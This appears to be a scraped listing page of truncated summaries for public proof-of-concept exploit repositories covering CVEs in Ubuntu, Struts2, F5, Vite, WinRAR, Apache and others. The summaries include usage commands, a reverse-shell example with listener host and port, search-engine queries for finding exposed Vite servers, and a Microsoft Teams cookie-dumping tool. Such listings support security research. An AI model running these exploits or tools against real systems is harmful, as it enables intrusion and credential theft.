CVE-2023-32629-CVE-2023-2640---POC-Escalation

CVE-2023-32629 & CVE-2023-2640 : Privilege escalation Ubuntu Privilege Escalation bash one-liner using CVE-2023-32629 & CVE-2023-2640. TOTALLY STOLE IT FROM https://twitter.com/liadeliyahu/status/1684841527959273472?t=puhDAlZCy75s7UbdV-bFw&s=19 PLEASE RETWEET THE ORIGINAL SOURCE I just wanted to...

CVE-2024-1651-PoC

CVE-2024-1651 This CVE was discovered by Carlos Bello from the Fluid Attack Offensive Team. The finding discusses Insecure Object Deserialization to obtain RCE Remote Code Execution. Here, I have created a faster and easier-to-use PoC Proof of Concept. Therefore, if anyone wants to reproduce the...

CVE-2020-0910

CVE-2020-0910 PoC de Exploit Funcionando CVE-2020-0910 - Reverse Bind Shell Probado usando Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

cve-2022-1388-1veresk

CVE-2022-1388 by 1vere$k CVE-2022-1388 the proof-of-concept. Two regimes of work with: simple target URL, default PORT will be set as 80 if it wasn't mentioned; file with list of targets : \n\r; Usage root@kitploit: echo "+-------------------For-The-Help-------------------------------------+"; ec...

CVE-2024-24576-PoC---Nim

Exploring Command Injection Vulnerabilities in Windows with Nim https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true Here's a summarized table based on the testing results from the Nim code experiments with different payloads:...

Struts2-048

Struts2-048 CVE-2017-9791 Author: DragonEgg root@kitploit: def Usage: print 'check:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action' print 'poc:' print ' python file.py http://1.1.1.1/struts2-showcase/integration/saveGangster.action command' Demo...

Aj-Report-sql-CVE-2024-5356-POC

exp.py -u especificar url o -f especificar archivo para detección por lotes, -t especificar hilos, -h ver ayuda Use pi install requirements.txt python exp.py -u url objetivo -t 10 python exp.py -h Precauciones Asegúrate de que la url comience con http:// o https://, de lo contrario se producirá u...

cve-2020-1948-poc

cve-2020-1948-poc Vulnerabilidad de deserialización en Apache Dubbo instalación: root@kitploit: pip3 install dubbo-py root@kitploit: python3 cve-2020-1948.py Demo...

CVE-2020-14750

CVE-2020-14750 PoC for vulnerabilities CVE-2020-14750 and cve-2020-14882 To test if a system is vulnerable use: ./test-CVE-2020-14750 hostname:7001 At the moment, in this version, it only guarantees if the host is vulnerable. If the result is negative, it is not a guarantee that it is not...

dnspooq

dnspooq DNSpooq PoC - envenenamiento de caché de dnsmasq CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 Solo con fines educativos Requisitos Docker compose Docker Exploit Iniciar contenedores root@kitploit: $ docker-compose up -d Ejecutar exploit.py root@kitploit: $ docker-compose exec attacker...

teams_dump

在最新版 Microsoft Teams 中导出和解密 Cookie 的 PoC extract.py 不传参直接导出 extract.exe 只是将 extract.py 打包成 exe teamsdump.py 列出数据库中的值 root@kitploit: python.exe .\teamsdump.py teams --list Table: meta Columns in meta: key, value -------------------------------------------------- Table: cookies Columns in cookies:...

teams_dump

PoC for dumping and decrypting cookies in the latest version of Microsoft Teams extract.py just dumps without arguments extract.exe is just extract.py packed into an exe teamsdump.py List values in the database root@kitploit: python.exe .\teamsdump.py teams --list Table: meta Columns in meta: key...

CVE-2018-25031-PoC

CVE-2018-25031-PoC PoC de CVE-2018-25031...

CVE-2018-6574

CVE-2018-6574 Vulnerble-code PoC para explotar CVE-2018-6574 en Pentesterlab!!...

cve-2022-0185-crash-poc

Container running cve-2022-0185 crash POC This is a docker container that runs the crash POC from https://www.willsroot.io/2022/01/cve-2022-0185.html. The container runs unprivileged as UID 65534. You can also use docker run -u or set a security context with RunAsUser additionally, all should yie...

cve-2023-38831

Introducción del proyecto Esta es una herramienta escrita en Go para generar el POC de la vulnerabilidad CVE-2023-38831. Versiones afectadas: WinRAR 6.23 ¿Cómo se utiliza? Compilar root@kitploit: go build cve-2023-38831.go Uso root@kitploit: cve-2023-38831.exe 1234.jpg payload.cmd poc.zip Donde...

CVE-2017-7269

EN GenWebDavIISExploit es una herramienta PoC que demuestra la explotación de una vulnerabilidad conocida en el componente WebDAV de IIS6. Esta herramienta está diseñada con fines educativos y de investigación para mostrar cómo se puede aprovechar la vulnerabilidad para ejecutar código arbitrario...

CVE-2025-30208-EXP

CVE-2025-30208-EXP Vite development server arbitrary file read vulnerability CVE-2025-30208, with wide coverage, simple exploitation, and no restrictions, posing a huge threat! Fofa search syntax: root@kitploit: body="/@vite/client" Hunter search syntax: root@kitploit: web.body="/@vite/client" Ex...

TrustJack

TrustJack Yet another PoC for https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows Blogpost: https://redteamer.tips/?p=108 To be used with a cmd that does whatever the F you want, for a dll that pops cmd, https://github.com/jfmaes/CMDLL. check the list in wietze's site to check how you...

CVE-2021-41773-PoC

CVE-2021-41773-PoC PoC para CVE-2021-41773 con docker para demostrar Ejecución Solo ejecuta ./poc.sh. Asegúrate de tener docker y docker-compose funcionando root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done...